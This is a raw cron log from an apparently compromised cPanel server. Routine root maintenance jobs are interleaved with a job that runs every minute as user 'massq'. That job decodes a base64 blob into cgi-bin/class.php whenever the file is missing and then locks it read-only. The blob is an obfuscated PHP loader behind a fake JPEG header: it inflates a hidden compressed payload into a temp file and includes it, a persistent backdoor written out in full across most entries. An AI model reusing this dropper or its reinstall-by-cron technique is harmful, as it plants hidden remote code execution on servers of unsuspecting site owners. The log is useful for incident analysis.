Nov  9 11:43:01 server CROND[11255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:44:01 server CROND[12061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:45:01 server CROND[12973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:45:01 server CROND[12975]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:45:01 server CROND[12976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:46:01 server CROND[13860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:47:01 server CROND[14570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:48:01 server CROND[15058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:49:01 server CROND[15898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:50:01 server CROND[16833]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 11:50:01 server CROND[16834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:50:01 server CROND[16839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:50:01 server CROND[16840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:50:01 server CROND[16838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:51:01 server CROND[17348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:52:01 server CROND[18183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:53:01 server CROND[19011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:54:01 server CROND[19710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:55:01 server CROND[20203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:55:01 server CROND[20205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:55:01 server CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
